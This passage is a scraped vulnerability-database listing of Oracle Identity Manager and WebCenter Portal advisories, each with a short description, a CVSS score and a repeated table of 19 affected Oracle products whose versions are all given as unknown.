vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical RMI-based vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers to fully compromise the system, with a CVSS 3.1 base score of 9.9 indicating severe risk.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to cause unauthorized data modification or partial denial of service, rated CVSS 3.1 base score 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially create, delete, or modify critical data, scoring 8.7 on CVSS 3.1.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access, modify data, or cause partial denial of service, rated CVSS 7.6.
7.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 3.1 base score 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially take control of the portal, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.6.
7.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
